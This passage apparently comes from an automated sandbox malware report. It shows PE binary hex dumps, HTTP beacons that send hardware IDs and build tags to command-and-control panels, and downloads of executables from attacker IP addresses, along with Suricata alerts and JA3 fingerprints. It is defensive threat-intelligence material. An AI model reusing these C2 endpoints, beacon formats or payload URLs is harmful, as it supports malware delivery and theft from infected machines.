e0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 8c cf 00 00 00 e0 01 00 00 d0 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a4 03 23 00 00 b0 02 00 00 e4 01 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9e 45 00 00 00 c0 25 00 00 46 00 00 00 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 01:23:18 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 07 Oct 2024 00:46:48 GMTETag: "1bea00-623d85b170f6f"Accept-Ranges: bytesContent-Length: 1829376Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 20 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 49 00 00 04 00 00 19 15 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 00 06 00 00 02 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 61 77 6a 6e 79 6d 76 00 50 19 00 00 c0 2f 00 00 50 19 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 64 6b 6c 72 66 69 76 00 10 00 00 00 10 49 00 00 06 00 00 00 c2 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 49 00 00 22 00 00 00 c8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 33 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000332001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHDBFIEGIDGIECBKJECHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 48 44 42 46 49 45 47 49 44 47 49 45 43 42 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 41 44 45 33 35 43 45 33 41 33 33 39 37 33 35 34 34 31 38 37 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 44 42 46 49 45 47 49 44 47 49 45 43 42 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 44 42 46 49 45 47 49 44 47 49 45 43 42 4b 4a 45 43 2d 2d 0d 0a Data Ascii: ------CFHDBFIEGIDGIECBKJECContent-Disposition: form-data; name="hwid"53ADE35CE3A33973544187------CFHDBFIEGIDGIECBKJECContent-Disposition: form-data; name="build"doma------CFHDBFIEGIDGIECBKJEC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000336001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000349001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBKKECBGIIJJKECGIJEHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 41 44 45 33 35 43 45 33 41 33 33 39 37 33 35 34 34 31 38 37 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 2d 2d 0d 0a Data Ascii: ------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="hwid"53ADE35CE3A33973544187------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="build"doma------AEBKKECBGIIJJKECGIJE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIDBKKKKKFBGDGDHIDBGHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 41 44 45 33 35 43 45 33 41 33 33 39 37 33 35 34 34 31 38 37 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 2d 2d 0d 0a Data Ascii: ------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="hwid"53ADE35CE3A33973544187------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="build"doma------GIDBKKKKKFBGDGDHIDBG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 42 37 34 42 30 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12B74B05F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 104.21.53.8 104.21.53.8
Source: Joe Sandbox View	IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49810 -> 185.215.113.103:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49842 -> 185.215.113.103:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49842 -> 185.215.113.103:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49879 -> 185.215.113.103:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
